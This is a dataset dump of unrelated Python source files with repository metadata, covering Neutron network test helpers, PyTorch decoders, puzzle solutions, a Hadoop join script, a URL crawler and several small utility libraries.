random.choice(list(candidates - used))\n\n\ndef wait_until_true(predicate, timeout=60, sleep=1, exception=None):\n \"\"\"\n Wait until callable predicate is evaluated as True\n\n :param predicate: Callable deciding whether waiting should continue.\n Best practice is to instantiate predicate with functools.partial()\n :param timeout: Timeout in seconds how long should function wait.\n :param sleep: Polling interval for results in seconds.\n :param exception: Exception class for eventlet.Timeout.\n (see doc for eventlet.Timeout for more information)\n \"\"\"\n with eventlet.timeout.Timeout(timeout, exception):\n while not predicate():\n eventlet.sleep(sleep)\n\n\ndef remove_abs_path(cmd):\n \"\"\"Remove absolute path of executable in cmd\n\n Note: New instance of list is returned\n\n :param cmd: parsed shlex command (e.g. ['/bin/foo', 'param1', 'param two'])\n\n \"\"\"\n if cmd and os.path.isabs(cmd[0]):\n cmd = list(cmd)\n cmd[0] = os.path.basename(cmd[0])\n\n return cmd\n\n\ndef get_cmdline_from_pid(pid):\n if pid is None or not os.path.exists('/proc/%s' % pid):\n return list()\n with open('/proc/%s/cmdline' % pid, 'r') as f:\n return f.readline().split('\\0')[:-1]\n\n\ndef cmdlines_are_equal(cmd1, cmd2):\n \"\"\"Validate provided lists containing output of /proc/cmdline are equal\n\n This function ignores absolute paths of executables in order to have\n correct results in case one list uses absolute path and the other does not.\n \"\"\"\n cmd1 = remove_abs_path(cmd1)\n cmd2 = remove_abs_path(cmd2)\n return cmd1 == cmd2\n\n\ndef pid_invoked_with_cmdline(pid, expected_cmd):\n \"\"\"Validate process with given pid is running with provided parameters\n\n \"\"\"\n cmdline = get_cmdline_from_pid(pid)\n return cmdlines_are_equal(expected_cmd, cmdline)\n\n\nclass Pinger(object):\n def __init__(self, testcase, timeout=1, max_attempts=1):\n self.testcase = testcase\n self._timeout = timeout\n self._max_attempts = max_attempts\n\n def _ping_destination(self, src_namespace, dest_address):\n src_namespace.netns.execute(['ping', '-c', self._max_attempts,\n '-W', self._timeout, dest_address])\n\n def assert_ping_from_ns(self, src_ns, dst_ip):\n try:\n self._ping_destination(src_ns, dst_ip)\n except RuntimeError:\n self.testcase.fail(\"destination ip %(dst_ip)s is not replying \"\n \"to ping from namespace %(src_ns)s\" %\n {'src_ns': src_ns.namespace, 'dst_ip': dst_ip})\n\n def assert_no_ping_from_ns(self, src_ns, dst_ip):\n try:\n self._ping_destination(src_ns, dst_ip)\n self.testcase.fail(\"destination ip %(dst_ip)s is replying to ping\"\n \"from namespace %(src_ns)s, but it shouldn't\" %\n {'src_ns': src_ns.namespace, 'dst_ip': dst_ip})\n except RuntimeError:\n pass\n\n\nclass RootHelperProcess(subprocess.Popen):\n def __init__(self, cmd, *args, **kwargs):\n for arg in ('stdin', 'stdout', 'stderr'):\n kwargs.setdefault(arg, subprocess.PIPE)\n self.namespace = kwargs.pop('namespace', None)\n self.root_helper = kwargs.pop('root_helper', None)\n self.cmd = cmd\n if self.namespace is not None:\n cmd = ['ip', 'netns', 'exec', self.namespace] + cmd\n if self.root_helper is not None:\n cmd = shlex.split(self.root_helper) + cmd\n self.child_pid = None\n super(RootHelperProcess, self).__init__(cmd, *args, **kwargs)\n if self.root_helper:\n self._wait_for_child_process()\n\n def kill(self):\n pid = self.child_pid or str(self.pid)\n utils.execute(['kill', '-9', pid],\n root_helper=self.root_helper)\n\n def read_stdout(self, timeout=None):\n return self._read_stream(self.stdout, timeout)\n\n @staticmethod\n def _read_stream(stream, timeout):\n if timeout:\n poller = select.poll()\n poller.register(stream.fileno())\n poll_predicate = functools.partial(poller.poll, 1)\n wait_until_true(poll_predicate, timeout, 0.1,\n RuntimeError(\n 'No output in %.2f seconds' % timeout))\n return stream.readline()\n\n def writeline(self, data):\n self.stdin.write(data + os.linesep)\n self.stdin.flush()\n\n def _wait_for_child_process(self, timeout=CHILD_PROCESS_TIMEOUT,\n sleep=CHILD_PROCESS_SLEEP):\n def child_is_running():\n child_pid = utils.get_root_helper_child_pid(\n self.pid, root_helper=self.root_helper)\n if pid_invoked_with_cmdline(child_pid, self.cmd):\n return True\n\n wait_until_true(\n child_is_running,\n timeout,\n exception=RuntimeError(\"Process %s hasn't been spawned \"\n \"in %d seconds\" % (self.cmd, timeout)))\n self.child_pid = utils.get_root_helper_child_pid(\n self.pid, root_helper=self.root_helper)\n\n\nclass NetcatTester(object):\n TESTING_STRING = 'foo'\n\n def __init__(self, client_namespace, server_namespace, address, port,\n root_helper='', udp=False):\n self.client_namespace = client_namespace\n self.server_namespace = server_namespace\n self._client_process = None\n self._server_process = None\n self.address = address\n self.port = str(port)\n self.root_helper = root_helper\n self.udp = udp\n\n @property\n def client_process(self):\n if not self._client_process:\n if not self._server_process:\n self._spawn_server_process()\n self._client_process = self._spawn_nc_in_namespace(\n self.client_namespace.namespace)\n return self._client_process\n\n @property\n def server_process(self):\n if not self._server_process:\n self._spawn_server_process()\n return self._server_process\n\n def _spawn_server_process(self):\n self._server_process = self._spawn_nc_in_namespace(\n self.server_namespace.namespace, listen=True)\n\n def test_connectivity(self, respawn=False):\n stop_required = (respawn and self._client_process and\n self._client_process.poll() is not None)\n if stop_required:\n self.stop_processes()\n\n self.client_process.writeline(self.TESTING_STRING)\n message = self.server_process.read_stdout(READ_TIMEOUT).strip()\n self.server_process.writeline(message)\n message = self.client_process.read_stdout(READ_TIMEOUT).strip()\n\n return message == self.TESTING_STRING\n\n def _spawn_nc_in_namespace(self, namespace, listen=False):\n cmd = ['nc', self.address, self.port]\n if self.udp:\n cmd.append('-u')\n if listen:\n cmd.append('-l')\n if not self.udp:\n cmd.append('-k')\n else:\n cmd.extend(['-w', '20'])\n proc = RootHelperProcess(cmd, namespace=namespace,\n root_helper=self.root_helper)\n return proc\n\n def stop_processes(self):\n for proc_attr in ('_client_process', '_server_process'):\n proc = getattr(self, proc_attr)\n if proc:\n if proc.poll() is None:\n proc.kill()\n proc.wait()\n setattr(self, proc_attr, None)\n","repo_name":"swethapts/devstack-compute","sub_path":"neutron/neutron/tests/functional/agent/linux/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":9270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"73035262766","text":"from torch import nn\nimport torch\n\nclass MLPDecoder(nn.Module):\n def __init__(self, hidden_dim_1=512, hidden_dim_2=256, latent_dim=64, num_classes=10):\n super().__init__()\n self.latent_dim = latent_dim\n self.num_classes = num_classes\n self.hidden_dim_1 = hidden_dim_1\n self.hidden_dim_2 = hidden_dim_2\n\n self.relu = nn.ReLU()\n self.sigmoid = nn.Sigmoid()\n\n self.fc = nn.Sequential(\n nn.Linear(self.latent_dim + self.num_classes, self.hidden_dim_1),\n nn.ReLU(),\n\n nn.Linear(self.hidden_dim_1, self.hidden_dim_2),\n nn.ReLU(),\n \n nn.Linear(self.hidden_dim_2, 28 * 28),\n nn.Sigmoid(),\n )\n \n def forward(self, z, c):\n zc = torch.cat([z, c], dim=1)\n return self.fc(zc).reshape(-1, 1, 28, 28)\n\nclass ConvDecoder(nn.Module):\n def __init__(self, latent_dim=64, num_classes=10):\n super().__init__()\n self.latent_dim = latent_dim\n self.num_classes = num_classes\n\n self.relu = nn.ReLU()\n self.sigmoid = nn.Sigmoid()\n\n self.fc = nn.Sequential(\n nn.Linear(self.latent_dim + self.num_classes, 1024),\n nn.ReLU(),\n nn.Linear(1024, 512), \n nn.ReLU(),\n nn.Linear(512, 32 * 14 * 14), \n nn.ReLU()\n )\n\n self.up_conv = nn.Sequential(\n nn.ConvTranspose2d(32, 32, 3), \n nn.BatchNorm2d(32), \n nn.ReLU(),\n nn.ConvTranspose2d(32, 16, 7), \n nn.BatchNorm2d(16), \n nn.ReLU(),\n nn.ConvTranspose2d(16, 1, 7)\n )\n\n def forward(self, z, c):\n zc = torch.cat([z, c], dim=1)\n hidden = self.fc(zc)\n return self.sigmoid(self.up_conv(hidden.reshape(-1, 32, 14, 14)))","repo_name":"howardlau1999/mnist-vae-pytorch","sub_path":"decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"22451420946","text":"from sys import stdin,stdout\r\n\r\n# O(N log N), where N is length of string\r\ndef solve(s):\r\n h = [0 for _ in range(len(s))]\r\n h[0] = ord(s[0]) - 97\r\n # compute prefix sum of hash value\r\n for i in range(1,len(s)):\r\n h[i] += h[i - 1] + ord(s[i]) - 97\r\n for i in range(1,len(s) // 2 + 1): # try all possible divisors\r\n if not len(s) % i:\r\n found,prev = True,h[i - 1]\r\n for j in range(2 * i - 1,len(s),i):\r\n if h[j] - h[j - i] != prev:\r\n found = False\r\n break\r\n if found:\r\n return s[:i]\r\n return \"-1\"\r\n\r\ns = stdin.readline().strip()\r\nstdout.write(solve(s))\r\n","repo_name":"chiralcentre/Kattis","sub_path":"multigram.py","file_name":"multigram.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"17687215839","text":"import os\n\n\ndef main():\n print ('Execute batch join with list of mbrs')\n\n # input_f = open('deep_join/data/histogram_16_16_mbrs.csv')\n # lines = input_f.readlines()\n #\n # dataset1 = 'diagonal_001.csv'\n # dataset2 = 'gaussian_001.csv'\n #\n # for line in lines:\n # filter_mbr = line.strip()\n # # print(\n # # 'spark-submit --master local[*] beast-tv/target/beast-uber-spark-0.2.3-RC2-SNAPSHOT.jar sj small_datasets/{} small_datasets/{} output.csv filtermbr:{} \\'iformat:envelope(0,1,2,3)\\' separator:, -overwrite >> result_count.txt'.format(\n # # dataset1, dataset2, filter_mbr))\n # print(\n # 'spark-submit --master local[*] beast-tv/target/beast-uber-spark-0.2.3-RC2-SNAPSHOT.jar sj small_datasets/{} small_datasets/{} output.csv filtermbr:{} \\'iformat:envelope(0,1,2,3)\\' separator:, -overwrite >> result_count.txt'.format(\n # dataset1, dataset2, filter_mbr))\n\n input_f = open('large_datasets.csv')\n\n datasets = [line.strip() for line in input_f.readlines()]\n\n for i in range(len(datasets)):\n for j in range(i + 1, len(datasets)):\n dataset1 = datasets[i]\n dataset2 = datasets[j]\n if dataset1 != dataset2:\n os.system (\n 'hadoop jar spatialhadoop-2.4.3-SNAPSHOT-uber.jar dj sj_estimator/large_datasets_all/{} sj_estimator/large_datasets_all/{} repartition:no direct-join:no heuristic-repartition:no shape:rect dj/dj_{}_{}_noindex -no-output -overwrite > dj_logs/dj_{}_{}_noindex.log 2>&1 '.format(\n dataset1, dataset2, dataset1.split('.')[0], dataset2.split('.')[0], dataset1.split('.')[0],\n dataset2.split('.')[0]))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"tinvukhac/sjml-resources","sub_path":"utils/execute_batch_join.py","file_name":"execute_batch_join.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"70578063088","text":"import math\n\ndef group_to_count(group):\n return len(set(filter(lambda x: x != \"\\n\", group)))\n\ndef part1(groups):\n print(sum(map(lambda x: group_to_count(x), groups)))\n\ndef part2(groups):\n count = 0\n for group in groups:\n persons = map(lambda x: set(x), group.split(\"\\n\"))\n count = count + len(reduce(lambda a,b: a.intersection(b), persons))\n print(count)\n\n\nif __name__ == \"__main__\":\n with open(\"input.txt\") as f:\n groups = f.read().split(\"\\n\\n\")\n part1(groups)\n part2(groups)\n \n","repo_name":"JorenW/UltimateAdventSolver2020","sub_path":"Day6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"32457623684","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 15 11:24:46 2021\n\n@author: rkdtk\n\"\"\"\n\n# 함수와 메소드\n# 함수: 함수(대상)\n\n# 대소 치환\nv1 = 'abcde' #string\nv1.upper() #대문자 치환\n'ABCD'.lower() #소문자 치환\n'abc def'.title() # camel 표기법 (단어의 첫글자만 대문자로 표시)\n\n# 색인(문자열 추출)\n'abcd'[0]\n'abcd'[-2]\n'abcd'[0:3]\n\n# ex) '031)-345-0834' 에서 지역번호만 추출\nvtel = '031)-345-0834'\nvtel[0:3]\n\n# 문자열의 시작, 끝 여부 확인\n# v1.startswith(prefix, # 시작할 값 확인 문자\n# start, # 확인할 시작 위치\n# end) # 확인할 끝 위치\nv1\nv1.startswith('b',1,)\nv1[1:].startswith('b')\n\n# v1.endswith(suffix,\n# start,\n# end)\n\nv1.endswith('e')\nv1.endswith('E')\n\n#앞 뒤 공백 또는 문자 제거\n'abc' == 'abc'\n' abc '.strip() # 양쪽에 공백을 없애준다.\n'abaaaca'.strip('a') # 양쪽 문자 제거(중간 글자 삭제 불가)\n\n' abcd '.lstrip() # 왼쪽 공백 또는 글자 제거\n' abcd '.rstrip() # 오른쪽 공백 또는 글자 제거\n\n#치환\n# 'abcabc'.replace(old, 찾을 문자열 \n# new) 바꿀 문자열\n'abcabc'.replace('a', 'A')\n'abcabc'.replace('ab', 'AB')\n'abcabc'.replace('ab', '')\n\n# 문자열 분리\n# v1.split(분리기호)\n'a/b/c/d'.split('/')\n'a/b/c/d'.split('/')[1]\n'a/b/c/d'.split('/')[0:2]\n\n\n# 위치값 리턴\n# 'abcd'.find(usb, # 위치값을 찾을 대상\n# start, # 찾을 위치(시작점)\n# end) # 찾을 위치(끝점)\n\nv1\nv1.find('b') # 인덱스번호가 반환된다.\n\n# ex. 전화번호 지역번호 추출\nvnum = vtel.find(')')\nvtel[0:vnum]\nvtel[:vnum]\n\n# 포함 횟수\n'abcabcabc'.count('a')\n\n# 형(type) 확인\ntype(v1)\nv1.isalpha() # 알파벳인지 아닌지 확인하기\nv1.isnumeric() # 숫자인지 아닌지 확인하기\nv1.isupper() # 대문자인지 확인하기\nv1.islower() # 소무자인지 확인하기\n\n# 문자열 결합\n'a' + 'b'\n\n# 문자열 길이\nlen(v1)\n3/len(v1)\n\n# 연습해 볼까요?\nvname = 'kim'\nvemail = 'rkdtks3783@naver.com'\njumin = '970121-1234567'\n\n# 1. 이름의 두번째 글자가 m인지 여부 확인\nvname[1] == 'm'\nvname[1] == 'i'\n\n# 2. vmail에서 이메일 아이디만 추출\nbase = vemail.find('@')\nvemail[:base]\n\n# 3. 주민 번호에서 여자인지 확인하기\njumin[7] == '2'\njumin.split('-')[1][0] == 2\n","repo_name":"rlarkdtks312/TIL","sub_path":"multicampus/python/lecture_multi/python_day2(문자열 처리).py","file_name":"python_day2(문자열 처리).py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"33459764525","text":"import numpy as np # 1.16.4\nimport pandas as pd # 0.24.2\nimport matplotlib # 2.2.4\nimport matplotlib.pyplot as plt\n\n# github.com/bscihsan\n\ndef sigmoid(x):\n return 1 / (1 + np.exp(-0.005 * x))\n\n\ndef sigmoid_derivative(x):\n return 0.005 * x * (1 - x)\n\ndef read_and_divide_into_train_and_test(csv_file):\n\n df=pd.read_csv(csv_file)\n df=df.replace(\"?\",np.nan)\n df=df.dropna(axis=0,how=\"any\")\n\n cols = df.columns\n for col in cols:\n df[col] = df[col].astype(int)\n\n clas=np.array(df[\"Class\"])\n total_row=df.shape[0]\n test_inputs = df.tail(round(total_row * 1 / 5))\n training_inputs=df.head(round(total_row*8/10))\n\n training_labels = []\n for i in training_inputs[\"Class\"]:\n training_labels.append([i])\n\n test_labels = np.array(pd.DataFrame(test_inputs[\"Class\"]))\n\n training_inputs=training_inputs.drop(['Code_number','Class'],axis=1)\n\n test_inputs = test_inputs.drop(['Code_number', 'Class'], axis=1)\n df=df.drop(['Code_number','Class'],axis=1)\n corraption=df.corr()\n\n\n figure, cax = plt.subplots()\n im = cax.imshow(corraption.values)\n\n plt.xticks(range(len(df.columns)), df.columns, rotation=90)\n plt.yticks(range(len(df.columns)), df.columns)\n cax.set_facecolor((0, 0, 0))\n\n plt.colorbar(im, ax=cax)\n for i in range(len(corraption.columns)):\n for j in range(len(corraption.columns)):\n text = cax.text(j, i, np.around(corraption.iloc[i, j], decimals=3),\n ha=\"center\", va=\"center\", color=\"white\")\n plt.show()\n return training_inputs, training_labels, test_inputs, test_labels\n\n\ndef run_on_test_set(test_inputs, test_labels, weights):\n tp = 0\n\n test_outputs=sigmoid(np.dot(test_inputs,weights))\n test_predictions=[]\n for i in test_outputs:\n if(i>0.5):\n test_predictions.append(1)\n else:\n test_predictions.append(0)\n cnt = 0\n for predicted_val, label in zip(test_predictions, test_labels):\n cnt += 1\n if predicted_val == label:\n tp += 1\n accuracy = tp / cnt\n return accuracy\n\n\ndef plot_loss_accuracy(accuracy_array, loss_array):\n x = plt\n x.subplot(2, 1, 1)\n x.ylabel(\"Accuracy\")\n x.plot(accuracy_array, \"b-\")\n\n x.subplot(2, 1, 2)\n x.ylabel(\"Loss\")\n x.plot(loss_array, \"r-\")\n x.show()\n\n\ndef main():\n csv_file = './breast-cancer-wisconsin.csv'\n iteration_count = 2500\n np.random.seed(1)\n weights = 2 * np.random.random((9, 1)) - 1\n accuracy_array = []\n loss_array = []\n training_inputs, training_labels, test_inputs, test_labels = read_and_divide_into_train_and_test(csv_file)\n\n for iteration in range(iteration_count):\n\n outputs = np.dot(training_inputs,weights)\n\n outputs = sigmoid(outputs)\n\n loss = training_labels - outputs\n\n tuning = loss*sigmoid_derivative(outputs)\n\n weights += np.dot(np.transpose(training_inputs),tuning)\n\n loss = loss.mean(axis=0)\n loss_array.append(loss[0])\n accuracy_array.append(run_on_test_set(test_inputs,test_labels,weights))\n\n plot_loss_accuracy(accuracy_array, loss_array)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"bscihsan/Understanding-Data","sub_path":"understanding_data.py","file_name":"understanding_data.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"24972881599","text":"import re\nimport os\nfrom setuptools import setup, find_packages\n\n\ndef read_description(filename):\n with open(filename) as fp:\n text = fp.read()\n paras = text.split('\\n\\n')\n return paras[1], text\n\n\ndef read_file(filename):\n with open(filename, \"rt\") as filehandle:\n return filehandle.read()\n\n\ndef find_value(source, identifier):\n regex = r\"^%s\\s*=\\s*['\\\"]([^'\\\"]*)['\\\"]$\" % (identifier, )\n match = re.search(regex, source, re.M)\n if not match:\n raise RuntimeError('Can\\'t find \"%s\" in source:\\n%s' % (identifier,\n source))\n\n return match.group(1)\n\n\nNAME = \"form_monster\"\nVERSION = find_value(\n read_file(os.path.join(NAME, \"__init__.py\")), \"__version__\")\nINSTALL_REQUIRES = []\nDESCRIPTION = \"Declaratively create forms on the console, desktop, or web\"\nLONG_DESCRIPTION = read_file('README.md')\n\nif __name__ == \"__main__\":\n setup(\n name=NAME,\n version=VERSION,\n description=DESCRIPTION,\n long_description=LONG_DESCRIPTION,\n long_description_content_type=\"text/markdown\",\n author=\"Jared Rickert\",\n author_email=\"jaredrickert52@gmail.com\",\n license='MIT',\n setup_requires=[\"pytest-runner\"],\n python_requires=\">=3.4\",\n install_requires=[\"wxPython>=4\"],\n tests_require=[\"pytest\"],\n packages=find_packages(),\n url=\"https://github.com/jlrickert/form-monster\",\n # download_url=\"https://pypi.python.org/pypi/form_monster\",\n\n # see classifiers:\n # http://pypi.python.org/pypi?:action=list_classifiers\n classifiers=[\n \"Development Status :: 1 - Planning\",\n # \"Development Status :: 2 - Pre-Alpha\",\n # \"Development Status :: 3 - Alpha\",\n # \"Development Status :: 4 - Beta\",\n # \"Development Status :: 5 - Production/Stable\",\n # \"Development Status :: 6 - Mature\",\n # \"Development Status :: 7 - Inactive\",\n \"Environment :: Console\",\n \"Environment :: MacOS X\",\n \"Environment :: Win32 (MS Windows)\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Natural Language :: English\",\n \"Operating System :: Microsoft :: Windows\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Operating System :: POSIX :: Linux\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n ],\n zip_safe=True,\n )\n","repo_name":"jlrickert/form-monster","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"12587852923","text":"class Waifu:\n\n def __init__(self, nombre,hair_color,alive, health):\n self.nombre = nombre \n self.hair_color = hair_color\n self.alive = alive\n self.health = health\n\n def get_damage(self, damage):\n self.health = self.health - damage\n if(self.health <= 0):\n self.alive = False\n print(self.nombre + \" ha moricido\")\n else:\n print(self.nombre + \" todavía puede pelear, vida restante: \"+ str(self.health))\n","repo_name":"felipers7/fastapi_test","sub_path":"folder/clase.py","file_name":"clase.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"44359171339","text":"import argparse\nimport requests\nfrom bs4 import BeautifulSoup\n\nparser = argparse.ArgumentParser(description='URL extraction tool')\nparser.add_argument('url', type=str, help='URL to extract')\nparser.add_argument('--depth', type=int, default=1, help='Recursion depth')\nargs = parser.parse_args()\n\n\ndef extract_urls(url, depth):\n if depth == 0:\n return []\n try:\n response = requests.get(url)\n soup = BeautifulSoup(response.content, 'html.parser')\n urls = [link.get('href') for link in soup.find_all('a')]\n urls = [u for u in urls if u is not None]\n urls = [u for u in urls if u.startswith(\n 'http') or u.startswith('https')]\n sub_urls = []\n for u in urls:\n sub_urls += extract_urls(u, depth - 1)\n return urls + sub_urls\n except:\n return []\n\n\nurls = extract_urls(args.url, args.depth)\n\nwith open(\"urls.txt\", \"a\") as f:\n for url in urls:\n print(url, file=f)\n print(url)\n","repo_name":"Mohamed-kamal1/Extraction-Tool","sub_path":"extract_urls.py","file_name":"extract_urls.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"31773046008","text":"import os\nimport sys\n\nfilename = os.path.normpath(os.path.join(os.path.dirname(__file__), \"input.txt\"))\ninputs = []\ntry:\n inputFile = open(filename)\nexcept FileNotFoundError:\n print(\"No file found at \" + filename)\n sys.exit(1)\ncounter = 0 \n\ndef isValid(line):\n parts = line.split(\":\")\n parts[0].strip()\n parts[1].strip()\n nums = parts[0].split(\"-\")\n letter = parts[0][-1]\n lower = int(nums[0].strip())\n upper = int(nums[1].split(\" \")[0].strip())\n number = 0\n \"\"\"print(line)\n print(lower)\n print(upper)\n print(parts[1])\n print(parts[1][lower])\n print(parts[1][upper])\"\"\"\n if(parts[1][lower] == letter):\n number += 1\n if(parts[1][upper] == letter):\n number+=1\n return number ==1 \n \n\nfor line in inputFile:\n if (isValid(line)):\n counter+=1\nprint(\"Number of valid ones = \" + str(counter))\n","repo_name":"Noah-C-S/AoC2020","sub_path":"day2/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"74559823432","text":"#-*- coding: utf-8 -*-\n\nimport os.path\nimport logging\n\nimport pyfsync\n\nfrom pyfsync.store import FSStore, BaseStore\n\nfrom pyfsync.db import setup_db\n\nclass FSync():\n \"\"\"\n \"\"\"\n\n #def __init__(self, *args, **kwargs):\n def __init__(self, options):\n \"\"\"\n \"\"\"\n self.logger = logging.getLogger('pyfsync')\n self.logger.info(options)\n\n #import pdb; pdb.set_trace()\n\n if not options[\"src\"][\"dir\"]:\n raise pyfsync.PyFSyncError('source directory path is not set. path=%s' % options[\"src\"][\"dir\"])\n\n if not options[\"dst\"][\"dir\"]:\n raise pyfsync.PyFSyncError('destination directory path is not set. path=%s' % options[\"dst\"][\"dir\"])\n\n if not os.path.isdir(options[\"src\"][\"dir\"]):\n raise pyfsync.PyFSyncError('source directory is not a directory. path=%s' % options[\"src\"][\"dir\"])\n\n if not os.path.isdir(options[\"dst\"][\"dir\"]):\n raise pyfsync.PyFSyncError('destination directory is not a directory. path=%s' % options[\"dst\"][\"dir\"])\n\n\n if isinstance(options[\"store\"][\"class\"], object) is False:\n raise pyfsync.PyFSyncError('Definition misses the store class. %s' % str(options[\"store\"][\"class\"]))\n\n if isinstance(options[\"store\"][\"db\"], object) is False:\n raise pyfsync.PyFSyncError('Definition misses the db class. %s' % str(options[\"store\"][\"db\"]))\n\n # manage\n\n self.manage = {\n \"options\": options,\n \"peer\": {},\n \"seed\": None,\n \"dbs\": None\n }\n\n # db\n self.manage[\"dbs\"] = setup_db(options)\n\n # store\n options = self.manage[\"options\"]\n\n # seed\n seed = options[\"store\"][\"class\"](options[\"src\"][\"dir\"], self.manage)\n self.manage[\"seed\"] = seed\n self.manage[\"peer\"][seed.hash] = seed\n\n # peer\n\n dst = options[\"store\"][\"class\"](options[\"dst\"][\"dir\"], self.manage)\n\n self.manage[\"peer\"][dst.hash] = dst;\n\n\n # update\n self.manage[\"seed\"].update()\n","repo_name":"fkei/pyfsync","sub_path":"pyfsync/fsync.py","file_name":"fsync.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"32684536186","text":"\n__author__=\"Rob van der Most\"\n__date__ =\"$Jun 6, 2011 7:14:58 PM$\"\n\n'''\nAssorted class utilities and tools\n\nCreated on May 5, 2011\n\n@author: Rob van der Most\n'''\n\nimport uuid\nfrom pprint import pformat\n\nclass AttrDisplay(object):\n \"\"\"\n Provides an inheritable print overload method that displays\n instances with their class names and a name=value pair for\n each attribute stored on the instance itself (but not attrs\n inherited from its classes). Can be mixed into any class,\n and will work on any instance.\n \"\"\"\n def __str__(self):\n return '%s: \\n %s' % (self.__class__.__name__, pformat(vars(self)))\n\nclass QuartjesBaseClass(AttrDisplay):\n \"\"\"\n Base class for all objects in quartjes that are serialized. Deriving from\n this class does not automatically make your objects serializable, but at\n least a unique id is present.\n \"\"\"\n\n def __init__(self, id_=None):\n \"\"\"\n Default constructor. Accepts an id to store. If no id is given, a new\n unique id is created.\n \"\"\"\n if id_ == None:\n self.id = uuid.uuid4()\n else:\n self.id = id_\n\n def __hash__(self):\n return hash(self.id)\n\n def __eq__(self, other):\n if not other:\n return False\n return vars(self) == vars(other)\n\n def __ne__(self, other):\n if not other:\n return True\n return vars(self) != vars(other)\n\ndef trace(method):\n def on_call(*args, **kwargs):\n mylevel = trace.level\n trace.level = trace.level + 1\n print(\"%sMethod %s called with args=%s and kwargs=%s\" % (\".\" * mylevel, method.__name__, args, kwargs))\n result = method(*args, **kwargs)\n print(\"%sMethod %s returned: %s\" % (\".\" * mylevel, method.__name__, result))\n trace.level = trace.level - 1\n return result\n return on_call\ntrace.level = 0\n\nfrom functools import wraps\n\ndef cached_class(klass):\n \"\"\"Decorator to cache class instances by constructor arguments.\n \n We \"tuple-ize\" the keyword arguments dictionary since\n dicts are mutable; keywords themselves are strings and\n so are always hashable, but if any arguments (keyword\n or positional) are non-hashable, that set of arguments\n is not cached.\n \"\"\"\n cache = {}\n \n @wraps(klass, assigned=('__name__', '__module__'), updated=())\n class _decorated(klass):\n # The wraps decorator can't do this because __doc__\n # isn't writable once the class is created\n __doc__ = klass.__doc__\n def __new__(cls, *args, **kwds):\n key = (cls,) + args + tuple(kwds.iteritems())\n try:\n inst = cache.get(key, None)\n except TypeError:\n # Can't cache this set of arguments\n inst = key = None\n if inst is None:\n # Technically this is cheating, but it works,\n # and takes care of initializing the instance\n # (so we can override __init__ below safely);\n # calling up to klass.__new__ would be the\n # \"official\" way to create the instance, but\n # that raises DeprecationWarning if there are\n # args or kwds and klass does not override\n # __new__ (which most classes don't), because\n # object.__new__ takes no parameters (and in\n # Python 3 the warning will become an error)\n inst = klass(*args, **kwds)\n # This makes isinstance and issubclass work\n # properly\n inst.__class__ = cls\n if key is not None:\n cache[key] = inst\n return inst\n def __init__(self, *args, **kwds):\n # This will be called every time __new__ is\n # called, so we skip initializing here and do\n # it only when the instance is created above\n pass\n \n return _decorated\n","repo_name":"silvester747/quartjes","sub_path":"src/quartjes/util/classtools.py","file_name":"classtools.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"3575737019","text":"import abc\nfrom typing import Tuple\n\nimport numpy as np\nimport jax.numpy as jnp\nfrom netket.utils.types import DType\n\nfrom scipy.sparse import csr_matrix as _csr_matrix\nfrom numba import jit\n\nfrom netket.hilbert import AbstractHilbert\n\n\n@jit(nopython=True)\ndef compute_row_indices(rows, sections):\n ntot = sections[-1]\n res = np.empty(ntot, dtype=np.intp)\n\n for i in range(1, sections.size):\n res[sections[i - 1] : sections[i]] = rows[i - 1]\n\n return res\n\n\nclass AbstractOperator(abc.ABC):\n \"\"\"Abstract class for quantum Operators. This class prototypes the methods\n needed by a class satisfying the Operator concept. Users interested in\n implementing new quantum Operators should derive they own class from this\n class\n \"\"\"\n\n _hilbert: AbstractHilbert\n r\"\"\"The hilbert space associated to this operator.\"\"\"\n\n def __init__(self, hilbert: AbstractHilbert):\n self._hilbert = hilbert\n\n @property\n def hilbert(self) -> AbstractHilbert:\n r\"\"\"The hilbert space associated to this operator.\"\"\"\n return self._hilbert\n\n @property\n def size(self) -> int:\n r\"\"\"The total number number of local degrees of freedom.\"\"\"\n return self._hilbert.size\n\n @property\n def is_hermitian(self) -> bool:\n \"\"\"Returns true if this operator is hermitian.\"\"\"\n return False\n\n @property\n def H(self) -> \"AbstractOperator\":\n 